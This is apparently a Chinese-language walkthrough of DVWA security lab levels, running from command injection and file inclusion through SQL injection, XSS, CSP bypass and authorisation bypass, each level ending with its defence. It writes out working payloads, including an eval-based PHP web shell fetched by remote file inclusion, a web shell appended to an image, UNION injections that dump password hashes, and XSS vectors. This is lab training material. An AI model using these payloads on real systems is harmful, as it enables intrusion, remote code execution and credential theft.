事实上,可以假设在网络延迟正常的情况下,如果密码正确,返回结果时间一般不会慢于 0.5 秒(这个阈值可以根据网络延迟调整)。所以,当一次尝试等待时间超过了 0.5 秒,可以直接认为密码错误而停止等待。这样可以节省不少时间。

High:随机等待时间 & CSRF 防护

和 medium 的区别在于:

  • 如果密码错误,等待随机 0~3 秒才返回。
  • 表单中增加了隐藏的 input 组件 user_token,值为每次随机的字符串,用于防止 CSRF 攻击。

添加了 token 只是略微增加了我们爆破的复杂性:每一个登录请求都必须对应一个对表单的请求。可以使用 BurpSuite 的「Grep - Extract」功能提取 token,用 Pitchfork 模式逐一尝试。

截屏2022-08-03 17.44.14.png

Impossible:账户锁定

在 high 的基础上:

  • 使用 POST 提交表单。
  • 在后端(数据库中)记录了用户尝试错误的次数、上次登录时间,如果连续三次密码错误,账户锁定 15 分钟。

有了尝试三次账户锁定,暴力就基本上无法快速爆破特定账户了。

Command Injection

这一关可以视为 Remote Code Execution(RCE)攻击的一个应用。提供的场景是:提供一个表单,接收用户输入的 IP 地址,在服务器上使用 PHP 的 exec() 执行 ping 命令,并返回输出的结果。

攻击者的目标是:在服务器上执行任意我们想要的命令。

Low:不过滤

在后端直接将 ping 命令拼接上我们输入的字符串,然后执行。那么,用 && 或者 ; 就可以结束之前的命令,添加任意命令。比如:

127.0.0.1; ls -al

Medium:简单过滤

在 low 的基础上,做了 &&; 的检测,在字符串中将它们删除。

能够做命令注入的不止上面两种字符,还可以用管道符 |。这个符号本来的用法是将上一个命令的输出作为下一个命令的输入。

127.0.0.1 | ls -al

High:更多过滤

替换了不少字符:

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

仔细观察,过滤的不是管道符这个字符,而是管道符加一个空格……所以用 127.0.0.1 |ls 这种还是可以的。

并且没有过滤换行(%0a)、回车(%0d),这二者同样可以达到分隔多条命令的效果。当然,前端的输入框里无法输入换行,需要用别的工具发请求,将 ip 写为 127.0.0.1%0als

High 过滤了减号 -,所以无法处理带参数的命令。

Impossible:白名单

「白名单」永远比「黑名单」安全。这个等级直接判断输入的 IP 是否符合 IPv4 格式,并且也引入了 CSRF 攻击防护。

Cross Site Request Forgery (CSRF)

这一关提供了一个修改密码的表单,要求输入新的密码并确认,提交后就能修改密码。

攻击者的目标是:在受害者不知情的情况下,使受害者更改密码。

⚠️ 注意:现代浏览器基本都已经禁止第三方 Cookie,这意味着无论如何配置,当发送跨域请求时都不能携带 Cookie,这一漏洞已经无法利用

以下介绍的仅为在允许第三方 Cookie 的情况下,理论利用方式。

Low:无防护

没有防范 CSRF 攻击的检测,并且通过 GET 请求发数据。只要攻击者诱导受害者打开一个 URL,或者向这个 URL 发送请求,就可以修改密码。

http://localhost/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

Medium:判断 referer

这一等级在收到请求后,判断 HTTP referer 请求头的内容是否包含当前服务器域名。

然而,使用的是 stripos 函数,即单纯的子串检测。假设 DVWA 运行在 dvwa.com,那么只要 referer 包含这个子串即可。例如从 skywt.cn 发起攻击,一种简单的方式是:https://skywt.cn/?a=dvwa.com

High:CSRF token

这一等级加入了 CSRF token,当用户加载表单时,表单内包含一个 hidden input,其中包含每次不同的 token;当提交时需要带上这个 token。

这大大增加了攻击难度:恶意脚本需要使用用户的凭证先发送请求,获取页面上的 token,再将 token 一并发送,请求修改密码。

Impossible:提供原密码

这一等级要求在修改密码请求中提供用户的原密码。攻击者无法得知用户的原密码,所以无法使用 CSRF 攻击。

File Inclusion

这一关提供的页面,在 URL 中指定参数 page 即可包含指定的页面。情境的本意是只能包含 file1、file2、file3 三个页面之一。

攻击者的目标是:包含木马页面,执行我们想要的代码。

Low:无防护

直接可以进行任意文件包含,因为 URL 里可以任意引用文件,为所欲为。

例如,在服务器 skywt.cn 上放一个一句话木马 yjh.txt

<?php eval($_GET['a']);?>

这行 PHP 代码拿到 GET 请求传入的 a 参数,然后作为代码执行。通过这一代码,我们可以执行任何代码。这就是「一句话木马」。

接下来,访问:

http://localhost/vulnerabilities/fi/?page=https://skywt.cn/yjh.txt&a=phpinfo();

页面包含了我们的 yjh.txt,传入的 phpinfo(); 就会被执行,显示 PHP 信息。照此原理,能够执行任何 PHP 代码。

利用 PHP 的 exec() 函数,事实上相当于已经拿到了系统的 shell。

Medium:关键词过滤

对传入的 page 参数过滤了 http://https://../..\ 这几个关键词。

PHP 的 str_replace 函数只会进行「一次替换」,也就是将一个字符串中所有子串 A 进行替换,至于替换之后得到的新字符串是否包含子串 A,它并不关心。利用这个缺陷,我们可以使用「双写」的办法:

http://localhost/vulnerabilities/fi/?page=httpshttps://://skywt.cn/yjh.txt&a=phpinfo();

(也可以结合下一关的文件上传,使其引用本地的木马文件,即 URL 不包含 http(s):// 协议。

High:只能是文件

限制了传入的 page 参数必须以 file 开头。本意是限制只能引用诸如 file1.php 这样的文件,然而事实上可以用 file:// 协议引用本地的任何文件。

需要结合下一关的文件上传漏洞,先上传一句话木马到本地,再引用。下文详述。

Impossible:白名单

使用「白名单」,限制只能访问 file1、file2、file3 这三个 PHP 文件。

File Upload

这一关提供了一个表单,能在其中选择一个文件并上传。情境的本意是只能上传图片文件,但是由于不佳的实现,导致能够上传 PHP 脚本木马。

攻击者的目标是:上传 PHP 木马并执行我们想要的代码。

Low:无防护

没有任何检测,直接将上传的文件保存并移动到某个特定的目录。

上传之前提到的一句话木马 yjh.php 就行。在这个 URL 里,能够利用木马:

http://localhost/hackable/uploads/yjh.php?a=phpinfo();

Medium:限制 MIME

只限制请求的 MIME 为 image/jpeg 或者 image/png,并不实际检测上传的内容。

可以仍然上传这个 PHP 文件,只要在上传的请求中修改一下 Content-Type 就行了。

截屏2022-08-05 12.11.55.png

也可以在真实的图片文件后加 PHP 一句话木马再上传。下文 high 中详述。

High:限制文件拓展名

相比 medium,这个等级:

  • 使用 getimagesize 函数获取图像内容实际大小,如果是 0 则拒绝上传。
  • 检测文件拓展名是否是 jpgjpegpng 三者之一。如果不是则拒绝上传。

第一个限制意味着,直接上传只包含一行 PHP 代码的一句话木马无法成功,必须上传一张真实的图片。我们可以用文本编辑器在一张真实的图片最后加上一句话木马。PHP 的特性是只会将 <?php ?><? ?> 中的内容视为脚本并运行,在这个之外的内容都会不解析而是直接显示。注意:使用这种方法,需要确保这个图片文件中,在我们插入的代码之前,没有出现过 <? 这样的符号,否则在执行到我们的代码之前 PHP 就会抛出语法错误。

如果使用日常的图片,生成 <? 组合其实概率不低。我们可以生成一张最小的图片,确保不包含 <? 组合:

convert -size 1x1 xc:black yjh.jpg
echo "<?php eval(\$_GET['a']);?>" >> yjh.jpg

上传这个图片文件,能够规避第一条规则的检测。

第二个限制,并不好解决。一般来说,像 Nginx 之类的 WebServer,PHP 环境的配置方式都是:对于服务器上以 .php 结尾的文件,交由 PHP 的引擎执行脚本;对于其他拓展名的文件,则直接视为静态资源呈现。这样,如果文件结尾不是 .php,我们无法将其单独作为 PHP 来执行。

所以,这一关要结合上一关的文件包含漏洞。成功上传包含一句话木马的 yjh.jpg 之后,只要利用 file:// 协议,访问这个 URL:

http://localhost/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/yjh.jpg&a=phpinfo();

Impossible:图片重新编码

相比之前的等级,该等级加入了更加复杂的检测:

  • 检测 MIME 类型、拓展名。
  • 对图片去除元信息、重新编码再上传。这样图片中不可能包含任何其他东西。
  • CSRF 防护。

Insecure CAPTCHA

这一关提供修改密码的场景,表单里提供了一个密码输入框、密码确认框,以及一个 reCAPTCHA 验证组件。期望的场景是:通过验证,才能提交修改密码。

攻击者的目标是:不经过 reCAPTCHA 的验证也能实现修改密码。

Low:没用的 step 验证

这个 low 的实现真的很逆天,表单里有一个 hidden input 名为 step,初始 value 为 1。当为 1 时提交,验证 reCAPTCHA,如果通过则重新打开页面并将 step 改为 2。当为 2 时提交,则不验证 reCAPTCHA 直接修改密码。

那么,直接在页面里将 step 改为 2 再提交就好了。

Medium:又一个没用的验证

依然很逆天,在 low 的基础上,当 step 为 1 且验证通过时,重新打开页面,step 设为 2,并添加一个名为 passed_captcha 的 hidden input 并设为 true。

和 low 类似,只要在页面里将 step 改为 2,添加 passed_captcha元素即可:

<input type="hidden" name="passed_captcha" value="true">

High:开发者留的后门

相比前两个等级,high 终于没有使用愚蠢的 step

  • 添加了 CSRF 防护。
  • 提交后直接验证 reCAPTCHA,如果通过则修改密码。

然而,在表单的注释里能看到这段内容:

<!-- **DEV NOTE**   Response: 'hidd3n_valu3'   &&   User-Agent: 'reCAPTCHA'   **/DEV NOTE** -->

事实上,当这个页面接收到 POST 请求,其中 g-recaptcha-response 字段为 hidd3n_valu3 并且 UA 为 reCAPTCHA 时,会直接视为通过了验证。

我并没看懂这一关的逻辑,毕竟 reCAPTCHA 验证代码放在独立的模块里。可能意思是开发者留的后门?

curl 'http://localhost/vulnerabilities/captcha/' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; pma_lang=zh_CN; phpMyAdmin=211204361d2d8ca74ddb7cf6114904ad; pmaUser-1=yfZDMnTAKyPV7j%2B7cQQNL%2FzQSTP4EIu%2BlPfwwl8x8qc8at35nhtpEyye8Rc%3D; security=high; PHPSESSID=c830c512bdc160d1bd45b89fd12a8f27' \
  -H "User-Agent: reCAPTCHA" \
  --data-raw 'step=1&password_new=123456&password_conf=123456&g-recaptcha-response=hidd3n_valu3&user_token=0b419bbb618c37f400efc2b2d03337a9&Change=Change'

Impossible:正常地使用

相比前几个等级,这个等级:

  • 添加表单需要用户输入当前密码,密码正确才能修改密码。
  • 正常地验证 reCAPTCHA,没有 high 中奇怪的判定。

说实话,这才是正常人能想到的 reCAPTCHA 使用方式。这关从 low 到 high 感觉都不是正常人能写出来的代码……

SQL Injection

SQL 注入是老生常谈的安全漏洞。本题提供了一个表单,输入 user id 并提交,能够查询指定 id 的用户,并显示列表。

攻击者的目标是:任意操纵数据库。

Low:无防护

没有任何 SQL 注入的检测。查询 1' OR 1=1; #,可以得到所有记录。说明这关的注入是字符型,即输入的内容作为字符串类型。

确定该表包含字段数量。提交 ' OR 1=1 ORDER BY 2; # 正常返回,' OR 1=1 ORDER BY 3; # 则报错,说明该表共两个字段。

确定服务器包含的数据库。提交 ' AND 0=1 UNION SELECT 1,database(); #,能看到只有 dvwa 这一个数据库。

确定数据库包含的所有表。提交 ' AND 0=1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'; # 可以看到所有表的名称,有 users 和 guestbook。

确定表包含的字段。提交 ' AND 0=1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'; # 可以拿到 uses 表包含的所有字段。

最后就可以想查什么就查什么了。比如用户名和密码的 MD5:' AND 0=1 UNION SELECT user,password FROM users; #

Medium:字符转义

相比 low 等级:

  • 将输入框改为了选择菜单,请求方式改为 POST。但是 POST 接收的参数依然被当作字符串处理。
  • 对 id 中的字符进行了转义,使用的是 mysqli_real_escape_string 函数,这个函数会转义 NUL(ASCII 0)、\n\r\'" 和 Control-Z 这些字符。

尝试 1 OR 1=1;# 可以判断这题的注入是数字型,即输入内容作为数字类型。那么,不需要用到引号等被过滤的符号。

直接用和上题一样的方法就好。

High:单独的页面

这个等级打开一个单独的页面里发送请求,而响应存在后端 SESSION 里,在原来的页面中才显示。这样用 sqlmap 之类的工具进行注入就会比较麻烦,只能自己写脚本或者手工注入。

不过,除此之外,其他防护措施和 low 等级一样。

Impossible:限制数据类型 & 预编译

  • 判断 id 是否为数字。
  • 使用了预编译处理 SQL 语句。这就是「代码与数据分离」。
  • CSRF 防护。

SQL Injection (Blind)

SQL 盲注,指的是虽然页面存在 SQL 注入的漏洞,但是我们无法直接看到查询的结果,只能看到成功与否之类非常有限的信息。这大大增加了注入难度。

这一关就是如此:输入用户 ID,只返回用户 ID 是否存在。这相当于每次只给我们 true 或 false 的信息。

这一关不同难度增加的限制,和上一关完全一致,只有返回显示结果的区别。所以此处只介绍针对 low 的通用方法。

猜测是字符型还是整数型。尝试 1 AND 1=2; # 发现能找到记录,1' AND 1=2; # 则不行,则证明是字符型。

猜数据库名长度。查询 ' OR length(database())=4; # 为真,其他长度都为假,说明当前数据库名长度为 4。

猜数据库名。用诸如 ' OR ascii(substr(database(),1,1)>97; # 这样的查询,可以一个一个字符猜出数据库名(可以用二分)。其他的猜测和以上注入同理。

如果程序不返回任何内容,连成功与否都不知道,怎么办呢?可以利用延时。例如:' AND sleep 5。SQL 中的 AND 有和大多数编程语言一样的短路运算,当 AND 左侧为 false 则不计算右侧。如果能找到记录,会等待五秒才返回;如果找不到记录,则会立即返回。通过这种方式我们相当于也获得了 true 或 false 的反馈信息。

Weak Session IDs

这个场景只提供一个按钮,每次点击就能生成或更新本地名为 dvwaSession 的 Cookie。

攻击者的目标:猜测下一次生成的 dvwaSession,或者猜测其他用户生成的 dvwaSession。Session 一般作为用户身份的凭证,如果能够猜到其生成方式,往往能够伪造他人身份。

Low:简单计数器

非常简单直白的方式生成 dvwaSession:第一次生成 1,之后每次重新生成就加 1。这种方式太容易伪造了。

Medium:时间戳

将时间戳作为 dvwaSession。时间戳没有随机性并且可预知,攻击者也完全可以伪造。

High:计数器 MD5 & 访问限制

这一等级仍然使用计数器作为 dvwaSession,不同之处在于存入 Cookie 时用 MD5 哈希了一下。计数器每次加 1,所以不会很大,可以轻易枚举出哈希前的计数器。

这一等级还设定了 Cookie 的失效时间为一小时,指定只能在 /vulnerabilities/weak_id/ 路径以及当前域名下使用,

Cookie 的 secure、httpOnly 选项都设为 false,这意味着 Cookie 可以在非 HTTPS 连接下使用、可以被 JavaScript 脚本访问。这是不安全的设置。

Impossible:随机化 & 强限制

在 high 的基础上:

  • 使用时间戳、随机数,用 SHA1 算法生成 Cookie。这确保了充分的 Cookie 随机化。
  • secure、httpOnly 选项都设为 true。

相比 high,这个等级:1)无法枚举预测 Cookie;2)有更严格的访问限制。

DOM Based Cross Site Scripting (XSS)

在做 XSS 的三个关卡之前,回顾之前 xss-labs 的题解,执行 JavaScript 代码一般有四种方式:

  • 通过 <script> 标签。
  • 通过元素的 onmouseover 属性。
  • 通过 <img> 的 onerror 属性,如 <img src=1 onerror="alert(1)">
  • 通过 URI,如 javascript:alert(1)

这一关提供了一个包含下拉选择框的表单,提供了若干语言选项。

攻击者的目标是:实现 XSS 注入,执行我们想要的 JavaScript 脚本。

Low:虚假的下拉框

选择 English 并 Submit,可以发现 English 作为字符串传进了 URL,作为 default 的值。

http://localhost/vulnerabilities/xss_d/?default=English

将 URL 中 English 改为 test,会发现页面里下拉框中文本也变成了 test。显然这个下拉框只是个幌子,default 的值不仅限于这四种语言。

可以发现表单中有一段脚本用于处理 default 的值,使用了非常愚蠢的 document.write

if (document.location.href.indexOf("default=") >= 0) {
  var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
  document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
  document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");               

那么,将 default 的值改为 <script>alert(1)</script> 进行 encodeURI 之后的值,即可成功出现弹窗:

%3Cscript%3Ealert(1)%3C/script%3E

Medium:后端过滤 script 标签

相比 low,在后端添加了检测,如果 URL 的 default 值包含 <script 字串,则强制设置为 English

当然,引入 JavaScript 代码的方式并不止 script 标签一种。比如:

</option></select><button onclick='alert(1)'></button>
</option></select><div onmouseover='alert(1)' style='height: 1000px; width: 1000px'></div>

这段代码将 select 组件闭合,并插入一个其他元素,能够触发弹窗。button 需要点击触发,而插入一个很大的 div 则用户鼠标经过就触发。经过实测,因为这个 div 很大,还是非常容易触发的……

⚠️ 浏览器的安全限制:由于 document.write 存在较多安全问题,已经是强烈不建议使用的方法(参见 MDN 文档),许多浏览器对其添加了诸多限制,例如 Chrome 浏览器的这篇文档。所以,这一关很多更好的方法都无法使用,比如 <img src=1 onerror='alert(1)'>

(除了这种方法之外,使用下述 high 等级的方法也能通过这一关)

High:后端白名单,但前端简单粗暴

相比 medium,这关在后端直接使用了白名单:default 参数对应的值只能是 English 等四个值中的一种。其他情况,就重定向到 default=English

不过,或许你已经注意到了,前端获取 default 对应的值的这段代码,非常简单粗暴:

if (document.location.href.indexOf("default=") >= 0) {
  var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
  // ...
}

直接搜索 URL 中 default= 这个字串,不管三七二十一,将等号之后的内容都视为 lang 的值。然而,我们知道如果后面又有别的参数(例如 default=English&param=test),这个参数也会被放进 lang 里,但会被后端忽略。

所以只要加个 & 就能避免后端的检测了:

English&%3Cscript%3Ealert(1)%3C/script%3E

Impossible:前端不要 decode

之前从 low 到 high 的前端代码都犯了非常蠢的错误:直接将拿到的 lang 进行 decode 并在前端展示出来(decodeURI(lang))。

事实上,对于 English 等四个选项,其中并不包含任何特殊字符,完全不需要 decode。只要不 decode,攻击者就不可能注入任何特殊字符了。Impossible 就改写了这一点:

if (document.location.href.indexOf("default=") >= 0) {
  // ...
  document.write("<option value='" + lang + "'>" + (lang) + "</option>");
  // ...
}

不过,这个选项仍然不是最好的解决方案,因为使用了 document.write 等非常不优雅的写法,并且用户仍然可能传入非预期的字符串(虽然不可能进行 XSS 攻击了)。如果让我来设计,或许我会将选项从 0 开始编号,URL 中只允许用户传入一个数字编号,在前端将其换成对应的选项。

Reflected Cross Site Scripting (XSS)

这一关提供一个表单,让我们输入名字。当点击提交后,名字会通过 name 这个 param 传送给页面,表单下方会展示「Hello xxx」。

Low:无防护

没有任何防护。

输入 <script>alert(1)</script> 并提交,这段代码被原封不动地写入 HTML,就能成功弹窗。

Medium:子串替换

后端进行了防护:将输入包含的所有 <script> 子串替换为空串。

和 File Inclusion 里的 medium 解法相同,可以通过双写的方式规避:

<sc<script>ript>alert(1)</script>

使用下文所述 high 的方法也能解决。

High:正则表达式替换

相比 medium,这次通过正则表达式替换了 <(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t,使用双写的方法无效了。

同前所述,script 并非引入 JavaScript 的唯一方式。也可以使用:

<img src=1 onerror="alert(1)">

Impossible:htmlspecialchars

相比 high 等级,这个等级:

  • 增加了 CSRF 防护。
  • 通过 htmlspecialchars 转义输入字符串。

一般来说,为了防范 XSS,使用 PHP 内置的 htmlspecialchars 函数转义字符串,是最优解。

Stored Cross Site Scripting (XSS)

本题场景是一个类似留言板的功能,提供一个表单,可以填写姓名和文本,提交后填写的内容将被存储,在留言列表中展示出来。

Low:无防护

在 message 中填入 <script>alert(1)</script> 提交,该内容会被原封不动地注入 HTML 导致弹窗。

这一关卡所有难度都使用了 mysqli_real_escape_string 过滤了输入,从而防止 SQL 注入攻击。由于 SQL 注入不是本关卡的重点,与 XSS 无关,下面暂时不考虑。

Medium:name 子串替换

相比 low,这一关在后端对 name 和 message 分别进行了过滤:

  • 对于 message:使用 PHP 的 strip_tags 函数去除所有 HTML 和 PHP 标签,然后使用 htmlspecialchars 函数转义存储。
  • 对于 name:将所有 <script> 标签替换为空。

很显然,对 name 的处理存在和上一关(反射型 XSS)一样的问题,可以双写 <script> 或者使用 img 标签。

对于 name 输入框的长度限制,直接在浏览器里修改该元素的 maxlength 属性即可。

<scr<script>ipt>alert(1)</script>
<img src=1 onerror="alert(1)">

High:name 正则表达式替换

和反射型 XSS 里一样,将处理 name 字段时的 str_replace 子串替换,换成了基于正则表达式的替换。双写不能用了,但是 img 还是可以用:

<img src=1 onerror="alert(1)">

Impossible:htmlspecialchars

相比 high 等级,这个等级:

  • 增加了 CSRF 防护。
  • 通过 htmlspecialchars 转义 name。

存储型 XSS 这一关和反射型非常类似。最佳安全实践也一样:使用 htmlspecialchars

Content Security Policy (CSP) Bypass

浏览器的内容安全策略,是可以在 Content-Security-Policy 相应头中定义的一系列规则,告诉浏览器在访问内容时应该添加何种限制。

攻击者的目标是:通过 script 标签,引入外部脚本。

Low:引用 script 的限制

这一等级给出一个表单,提交的 URL 会被作为 script 的 src 引入。

这一等级的 Content-Security-Policy 请求头内容如下:

Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja;
// allows js from self, pastebin.com, hastebin.com, jquery, digi.ninja, and google analytics.

页面给出了五个测试链接:

  • alert.js:成功引用
  • alert.txt:无法引用
  • cookie.js:成功引用
  • forced_download.js:无法引用
  • wrong_content_type.js:无法引用

网页引入的 script 脚本,要满足如下限制:

  • MIME 必须是 text/javascript
  • 相应头不能包含 Content-Disposition: attachment

Medium:不变的 nonce

这一等级给出一个表单,提交的内容会被直接插入 HTML 中,且关闭了 XSS 防护。

该等级的 Content-Security-Policy 请求头:

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

请求头里包含了 nonce。nonce 后加一个 base64 编码后的字符串。添加这一限制后,所有 script 都必须带上相同的 nonce,否则浏览器就拒绝执行。

然而,这一等级中 nonce 并不是每次随机生成的,而是一个固定的字符串 Tm...XA=。事实上,base64 解码之后内容是:「Never going to give you up」……

只要提交这样的一段 script 即可:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

High:JSONP

这一等级中,页面调用 jsonp.php 执行代码。

JSONP(JSON with Padding)是一种跨域请求的技术,动态创建 script 标签,并将跨域请求到的资源当作 JavaScript 代码执行。

可以看到这个页面中 button 绑定的回调函数:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

jsonp.php 脚本内容如下:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
    $callback = $_GET['callback'];
} else {
    return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

当传入 callback 参数为 solveSumjsonp.php 将构造一段 JavaScript 代码,这段代码用指定的参数调用 solveSum。即:

solveSum({answer: 15})

其实目的是为了拿到其中的 JSON 数据,但是以调用函数的代码形式返回,外面这层函数就叫做 padding,故名曰 JSON with Padding。

然而,JSONP 将调用传入的 callback 参数,这个函数是前端传入的。我们只要重新定义 callback 参数的内容,就能让页面执行我们想要的 JavaScript 代码。比如:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=alert";
    document.body.appendChild(s);
}

Impossible:硬编码函数名

这一等级仍然使用 JSONP,但是不读取 callback 的值,而是将 solveSum 这一函数名硬编码进 jsonp.php。这才是使用 JSONP 的正确方式。

JavaScript Attacks

这一关提供了一个表单,我们可以提交一个 phase,同时前端计算了 ChangeMe 这个 phase 的哈希,后端验证哈希是否匹配。

攻击者的目标是:成功提交 success 这个单词,并通过哈希验证。

Low:内联脚本

如果直接提交 success 会提示 Invalid token。显然,表单里有个隐藏的 token。

‍查看 HTML,能找到表单后的一段 script:

function rot13(inp) {
  return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
  var phrase = document.getElementById("phrase").value;
  document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();

当页面打开时,该脚本将输入框中的内容通过某种方式算出 MD5 作为 token。可以猜到,后端肯定是检查了 token 和 phase 是否匹配。然而当页面刚加载时 phase 是 ChangeMe,除非直接提交 ChangeMe,其他任何 phase 都会显示 Invalid token。

既然前端代码都能看见了,对 success 这个 phase 也用这种方式计算出其 MD5 就行了。其实,只要输入 success,然后在 console 里调用 generate_token(),就会计算出对应的 token,提交即可。

Medium:外部脚本,简单混淆

和 low 的区别在于:

  • 不在 HTML 中内联 JavaScript,而是加载外部的 js 文件。
  • JavaScript 脚本做了简单的混淆,所有函数名、变量名都用了和代码含义无关的命名。
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--)
        t += e[n];
    return t
}
setTimeout(function() {
    do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

好在混淆后的代码也并不难懂,页面加载后延时 300ms 调用 do_elsesomething 函数计算 token。我们仍然只要输入 success 后在 console 里调用 do_elsesomething("XX") 再提交即可。

High:高级混淆

和 medium 相比,这次代码做了充分的混淆,使代码几乎不可读。仔细观察,这段代码里用了 eval 函数。代码先构造出要执行的 JavaScript 代码,然后使用 eval 执行。

既然构造出的代码要被执行,那能不能被我们看到呢?答案是肯定的。

在 F12 里选中 Submit 按钮,可以看到其 click 事件绑定了一个函数,这个函数来源于 VM8084:1:

F12 console 里看到的事件绑定

这个 VM 指的是 V8 引擎为没有对应来源的 JavaScript 创造的虚拟机环境。对于有对应来源的脚本,这个地方本来会显示源文件地址。

进入这个 VM8084:1,就能看到脚本构造出的可读 JavaScript 代码。看来,之前的代码混淆相当于没有作用了。

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

显然,代码按照顺序调用了三个 token_part 函数。我们也仿照这个流程进行即可。

将输入框中内容改为 success,然后在 console 中调用:

token_part_1("ABCD", 44);
token_part_2("XX");

然后点击 Submit(绑定的 Event Listener 会调用 token_part_3),就能完成提交。

Impossible:不要相信前端发来的任何数据

You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

永远不要相信前端发来的任何数据,不管在前端用了怎样的 JavaScript 处理。对于这个问题,没有 impossible 的解决方案。

Authorisation Bypass

在这关里,提供了一个用户管理列表,但是只有管理员用户 admin 可以访问。

攻击者的目标是:作为非管理员用户,实现用户管理的功能。

完成这关时,必须以非管理员用户登录 DVWA,例如名为 gordonb(密码 abc123)的用户。

Low:无防护

通过 gordonb 用户登录,会发现左侧 Authorisation Bypass 这一关消失了。

然而,不难发现每一关对应一个子路径。依然可以通过这个 URL 进入用户管理:

http://localhost/vulnerabilities/authbypass/

没有做任何的鉴权,只要进入页面就有修改编辑用户的权限。

Medium:UI 不让进,接口还能用

通过 low 的方式,可以发现进不去这一关了,提示「Unauthorised」。

然而,我们还是可以先研究研究这关的源码,在这个地址:

http://localhost/vulnerabilities/view_source.php?id=authbypass&security=medium

<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities: 

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

看起来这个页面是进不去了。根据提示,可以发现通过 get_user_data.php 文件还是可以获取用户信息,访问下面这个 URL 能获取所有用户信息的 JSON:

http://localhost/vulnerabilities/authbypass/get_user_data.php

也就是说没有做接口的鉴权,只做了 UI 的鉴权。

同样地,可以通过 change_user_details.php 更新用户信息:

curl 'http://localhost/vulnerabilities/authbypass/change_user_details.php' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; security=medium; PHPSESSID=0fd302cffc8f3d6e7cc65f176c4f556c' \
  -H 'Origin: http://localhost' \
  --data-raw '{"id":2,"first_name":"Gordon","surname":"Brown1"}'

通过这两个接口,虽然进不去管理员 UI,但是能获得相同的功能。

High:修改接口仍可用

和 medium 相比,get_user_data.php 做了鉴权,但是 change_user_details.php 没有。

curl 'http://localhost/vulnerabilities/authbypass/change_user_details.php' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; security=high; PHPSESSID=0fd302cffc8f3d6e7cc65f176c4f556c' \
  -H 'Origin: http://localhost' \
  --data-raw '{"id":2,"first_name":"Gordon","surname":"Brown2"}'

这个等级想要模拟的是愚蠢的开发者漏掉了这个接口的鉴权。

Impossible:全部鉴权

change_user_details.php 文件也加上鉴权。至此所有页面、接口都需要认证才能使用了。

Open HTTP Redirect

这一关里,给出的 URL 中通过给指定页面的参数,让页面为我们重定向。该情境的本意是只能重定向到指定的两个页面。

攻击者的目标:使之重定向到任何我们想要的页面。

Low:直接重定向

无脑将 redirect 参数作为 location.href 的值。可以重定向到任何网站:

http://localhost/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com

Medium:不能含有协议名

判断目标 URL 中是否包含 http:// 或者 https://,如果包含则拒绝重定向。

表示 URL 时,如果没有明确指定协议,直接以 // 开头,则表示使用和当前页面相同的协议。现在绝大部分网站又都支持将 HTTP 重定向到 HTTPS。所以,只需要:

http://localhost/vulnerabilities/open_redirect/source/medium.php?redirect=//www.baidu.com

High:必须包含子串

目标 URL 中必须包含 info.php 这个子串,否则拒绝重定向。

这也很好绕过,最简洁的方式就是加一个没用的 param:

http://localhost/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com?a=info.php

Impossible:白名单

最终,最安全的方式还是白名单。这一等级直接判断目标是 info.php?id=1 或者 info.php?id=2,其他一概拒绝。

总结:Web 安全的一些最佳实践

根据以上漏洞的尝试和探索,可以得出这些 Web 安全的最佳实践:

  • 白名单比黑名单更安全。
  • 不要相信前端发来的任何数据。
  • 不要在 HTML 或 SQL 里插入没有转义过的 string。
